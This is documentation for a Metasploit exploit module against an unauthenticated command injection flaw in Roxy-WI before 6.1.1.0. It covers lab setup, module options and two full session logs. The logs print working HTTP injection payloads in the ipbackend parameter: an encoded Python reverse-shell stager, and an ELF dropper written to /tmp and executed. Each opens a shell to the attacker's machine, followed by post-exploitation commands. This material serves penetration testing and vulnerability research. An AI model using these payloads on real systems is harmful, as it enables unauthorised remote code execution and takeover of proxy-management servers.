## Vulnerable Application

This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0.
Successful exploitation results in remote code execution under the context of the web server user.

Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.

### Setup

Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.

First grab a vulnerable copy of the code from the release pages at https://github.com/hap-wi/roxy-wi/releases.
You will likely want to grab version 6.1.0.0 from https://github.com/hap-wi/roxy-wi/archive/refs/tags/v6.1.0.0.tar.gz

Next follow the installation instructions at https://roxy-wi.org/installation.py#manual and be sure to replace `apache`
with `www-data` where applicable if your using Debian or Ubuntu (they call this out in their instructions however
it can be a bit hard to find which is why I'm noting it here).

Once you are done you should have a working copy of Roxy-Wi. Note that for some reason the login page didn't work for me
in testing, however everything needed to test this module should be set up and operating as expected.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/roxy_wi_exec`
4. Set `RHOST` to the address of the target Roxy-WI machine.
5. Set `LHOST` to the address of your attacking machine.
8. Run `exploit`
9. Do: `run`
10. You should get a shell as the user running the Roxy-WI server.

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Options

### TARGETURI

The base path to Roxy-WI. The default value is `/`.

## Scenarios

### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target

```
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec 
    [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
    msf6 exploit(linux/http/roxy_wi_exec) > show options
    
    Module options (exploit/linux/http/roxy_wi_exec):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       Proxies                     no        A proxy chain of format type:host:port[,type:hos
                                             t:port][...]
       RHOSTS                      yes       The target host(s), see https://github.com/rapid
                                             7/metasploit-framework/wiki/Using-Metasploit
       RPORT      443              yes       The target port (TCP)
       SRVHOST    0.0.0.0          yes       The local host or network interface to listen on
                                             . This must be an address on the local machine o
                                             r 0.0.0.0 to listen on all addresses.
       SRVPORT    8080             yes       The local port to listen on.
       SSL        true             no        Negotiate SSL/TLS for outgoing connections
       SSLCert                     no        Path to a custom SSL certificate (default is ran
                                             domly generated)
       TARGETURI  /                yes       The URI of the vulnerable instance
       URIPATH                     no        The URI to use for this exploit (default is rand
                                             om)
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (cmd/unix/python/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  172.22.230.145   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Unix (In-Memory)
    
    
    msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
    HttpTrace => true
    msf6 exploit(linux/http/roxy_wi_exec) > run
    
    [*] Started reverse TCP handler on 172.22.230.145:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] Checking if 127.0.0.1:443 is vulnerable!
    ####################
    # Request:
    ####################
    POST /app/options.py HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 93
    
    serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=iufmgha&backend_server=127.0.0.1
    ####################
    # Response:
    ####################
    HTTP/1.1 200 OK
    Date: Mon, 25 Jul 2022 18:46:55 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Vary: Accept-Encoding
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
    
    <center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
    Content-type: text/html
    
    <center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
    Content-type: text/html
    
    <center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
    Content-type: text/html
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    [*] 127.0.0.1:443 is vulnerable!
    [+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
    [*] Exploiting...
    ####################
    # Request:
    ####################
    POST /app/options.py HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 760
    
    serv=127.0.0.1&ipbackend=%22%3b%20echo%20exec\%28__import__\%28\%27base64\%27\%29.b64decode\%28__import__\%28\%27codecs\%27\%29.getencoder\%28\%27utf-8\%27\%29\%28\%27aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3Mi4yMi4yMzAuMTQ1Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc%2bSScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK\%27\%29\%5b0\%5d\%29\%29%20%7c%20exec%20%24%28which%20python%20%7c%7c%20which%20python3%20%7c%7c%20which%20python2%29%20-%20%3b%23&alert_consumer=gumovpt&backend_server=127.0.0.1
    [*] Sending stage (40164 bytes) to 172.22.230.145
    [*] Meterpreter session 1 opened (172.22.230.145:4444 -> 172.22.230.145:41506) at 2022-07-25 13:46:56 -0500
    ####################
    # Response:
    ####################
    No response received
    
    meterpreter > getuid
    Server username: www-data
    meterpreter > sysinfo
    Computer     : gwillcox-Virtual-Machine
    OS           : Linux 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022
    Architecture : x64
    Meterpreter  : python/linux
    meterpreter > pwd
    /var/www/haproxy-wi/app
    meterpreter > ls
    Listing: /var/www/haproxy-wi/app
    ================================
    
    Mode              Size    Type  Last modified              Name
    ----              ----    ----  -------------              ----
    100664/rw-rw-r--  83      fil   2022-06-30 02:43:57 -0500  .htaccess
    040755/rwxr-xr-x  4096    dir   2022-07-25 13:36:33 -0500  __pycache__
    100775/rwxrwxr-x  12822   fil   2022-06-30 02:43:57 -0500  add.py
    040775/rwxrwxr-x  4096    dir   2022-06-30 02:43:57 -0500  certs
    100775/rwxrwxr-x  4745    fil   2022-06-30 02:43:57 -0500  config.py
    100775/rwxrwxr-x  33194   fil   2022-06-30 02:43:57 -0500  create_db.py
    100775/rwxrwxr-x  14945   fil   2022-06-30 02:43:57 -0500  db_model.py
    100775/rwxrwxr-x  64688   fil   2022-06-30 02:43:57 -0500  funct.py
    100775/rwxrwxr-x  913     fil   2022-06-30 02:43:57 -0500  ha.py
    100775/rwxrwxr-x  8544    fil   2022-06-30 02:43:57 -0500  hapservers.py
    100775/rwxrwxr-x  3008    fil   2022-06-30 02:43:57 -0500  history.py
    100775/rwxrwxr-x  7145    fil   2022-06-30 02:43:57 -0500  login.py
    100775/rwxrwxr-x  1696    fil   2022-06-30 02:43:57 -0500  logs.py
    100775/rwxrwxr-x  1598    fil   2022-06-30 02:43:57 -0500  metrics.py
    100775/rwxrwxr-x  966     fil   2022-06-30 02:43:57 -0500  nettools.py
    100775/rwxrwxr-x  181104  fil   2022-06-30 02:43:57 -0500  options.py
    100775/rwxrwxr-x  4096    fil   2022-06-30 02:43:57 -0500  overview.py
    100775/rwxrwxr-x  1884    fil   2022-06-30 02:43:57 -0500  portscanner.py
    100775/rwxrwxr-x  1125    fil   2022-06-30 02:43:57 -0500  provisioning.py
    100644/rw-r--r--  274432  fil   2022-07-25 13:41:13 -0500  roxy-wi.db
    100775/rwxrwxr-x  750     fil   2022-06-30 02:43:57 -0500  runtimeapi.py
    040775/rwxrwxr-x  4096    dir   2022-06-30 02:43:57 -0500  scripts
    100775/rwxrwxr-x  2486    fil   2022-06-30 02:43:57 -0500  sections.py
    100775/rwxrwxr-x  1580    fil   2022-06-30 02:43:57 -0500  servers.py
    100775/rwxrwxr-x  1826    fil   2022-06-30 02:43:57 -0500  smon.py
    100775/rwxrwxr-x  103924  fil   2022-06-30 02:43:57 -0500  sql.py
    040775/rwxrwxr-x  4096    dir   2022-06-30 02:43:57 -0500  templates
    100775/rwxrwxr-x  1361    fil   2022-06-30 02:43:57 -0500  users.py
    100775/rwxrwxr-x  4150    fil   2022-06-30 02:43:57 -0500  versions.py
    100775/rwxrwxr-x  2076    fil   2022-06-30 02:43:57 -0500  viewlogs.py
    100775/rwxrwxr-x  1150    fil   2022-06-30 02:43:57 -0500  viewsttats.py
    100775/rwxrwxr-x  1819    fil   2022-06-30 02:43:57 -0500  waf.py
    
    meterpreter > 
```

### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target

```
    msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec 
    [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
    msf6 exploit(linux/http/roxy_wi_exec) > show options
    
    Module options (exploit/linux/http/roxy_wi_exec):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       Proxies                     no        A proxy chain of format type:host:port[,type:hos
                                             t:port][...]
       RHOSTS                      yes       The target host(s), see https://github.com/rapid
                                             7/metasploit-framework/wiki/Using-Metasploit
       RPORT      443              yes       The target port (TCP)
       SRVHOST    0.0.0.0          yes       The local host or network interface to listen on
                                             . This must be an address on the local machine o
                                             r 0.0.0.0 to listen on all addresses.
       SRVPORT    8080             yes       The local port to listen on.
       SSL        true             no        Negotiate SSL/TLS for outgoing connections
       SSLCert                     no        Path to a custom SSL certificate (default is ran
                                             domly generated)
       TARGETURI  /                yes       The URI of the vulnerable instance
       URIPATH                     no        The URI to use for this exploit (default is rand
                                             om)
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (cmd/unix/python/meterpreter/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  172.22.230.145   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Unix (In-Memory)
    
    
    msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
    HttpTrace => true
    msf6 exploit(linux/http/roxy_wi_exec) > set Target 1 
    Target => 1
    msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp 
    payload => linux/x64/shell/reverse_tcp
    msf6 exploit(linux/http/roxy_wi_exec) > show options
    
    Module options (exploit/linux/http/roxy_wi_exec):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       Proxies                     no        A proxy chain of format type:host:port[,type:hos
                                             t:port][...]
       RHOSTS     127.0.0.1        yes       The target host(s), see https://github.com/rapid
                                             7/metasploit-framework/wiki/Using-Metasploit
       RPORT      443              yes       The target port (TCP)
       SRVHOST    0.0.0.0          yes       The local host or network interface to listen on
                                             . This must be an address on the local machine o
                                             r 0.0.0.0 to listen on all addresses.
       SRVPORT    8080             yes       The local port to listen on.
       SSL        true             no        Negotiate SSL/TLS for outgoing connections
       SSLCert                     no        Path to a custom SSL certificate (default is ran
                                             domly generated)
       TARGETURI  /                yes       The URI of the vulnerable instance
       URIPATH                     no        The URI to use for this exploit (default is rand
                                             om)
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (linux/x64/shell/reverse_tcp):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST  172.22.230.145   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       1   Linux (Dropper)
    
    
    msf6 exploit(linux/http/roxy_wi_exec) > run
    
    [*] Started reverse TCP handler on 172.22.230.145:4444 
    [*] Running automatic check ("set AutoCheck false" to disable)
    [*] Checking if 127.0.0.1:443 is vulnerable!
    ####################
    # Request:
    ####################
    POST /app/options.py HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 93
    
    serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=oodqhqe&backend_server=127.0.0.1
    ####################
    # Response:
    ####################
    HTTP/1.1 200 OK
    Date: Mon, 25 Jul 2022 19:07:53 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Vary: Accept-Encoding
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
    
    <center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
    Content-type: text/html
    
    <center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
    Content-type: text/html
    
    <center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
    Content-type: text/html
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    [*] 127.0.0.1:443 is vulnerable!
    [+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
    [*] Exploiting...
    ####################
    # Request:
    ####################
    POST /app/options.py HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 939
    
    serv=127.0.0.1&ipbackend=%22%3b%20printf%20%27\177\105\114\106\2\1\1\0\0\0\0\0\0\0\0\0\2\0\76\0\1\0\0\0\170\0\100\0\0\0\0\0\100\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\70\0\1\0\0\0\0\0\0\0\1\0\0\0\7\0\0\0\0\0\0\0\0\0\0\0\0\0\100\0\0\0\0\0\0\0\100\0\0\0\0\0\372\0\0\0\0\0\0\0\174\1\0\0\0\0\0\0\0\20\0\0\0\0\0\0\110\61\377\152\11\130\231\266\20\110\211\326\115\61\311\152\42\101\132\262\7\17\5\110\205\300\170\121\152\12\101\131\120\152\51\130\231\152\2\137\152\1\136\17\5\110\205\300\170\73\110\227\110\271\2\0\21\134\254\26\346\221\121\110\211\346\152\20\132\152\52\130\17\5\131\110\205\300\171\45\111\377\311\164\30\127\152\43\130\152\0\152\5\110\211\347\110\61\366\17\5\131\131\137\110\205\300\171\307\152\74\130\152\1\137\17\5\136\152\46\132\17\5\110\205\300\170\355\377\346%27%3e%3e/tmp/olXCy%20%3b%20chmod%20%2bx%20/tmp/olXCy%20%3b%20/tmp/olXCy%20%3b%20rm%20-f%20/tmp/olXCy%20%3b%23&alert_consumer=kvlkaqe&backend_server=127.0.0.1
    [*] Sending stage (38 bytes) to 172.22.230.145
    [*] Command shell session 2 opened (172.22.230.145:4444 -> 172.22.230.145:41508) at 2022-07-25 14:07:59 -0500
    i####################
    # Response:
    ####################
    No response received
    d[*] Command Stager progress - 100.00% done (810/810 bytes)
    
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    whoami
    www-data
    pwd
    /var/www/haproxy-wi/app
    ls
    __pycache__
    add.py
    certs
    config.py
    create_db.py
    db_model.py
    funct.py
    ha.py
    hapservers.py
    history.py
    login.py
    logs.py
    metrics.py
    nettools.py
    options.py
    overview.py
    portscanner.py
    provisioning.py
    roxy-wi.db
    runtimeapi.py
    scripts
    sections.py
    servers.py
    smon.py
    sql.py
    templates
    users.py
    versions.py
    viewlogs.py
    viewsttats.py
    waf.py
```
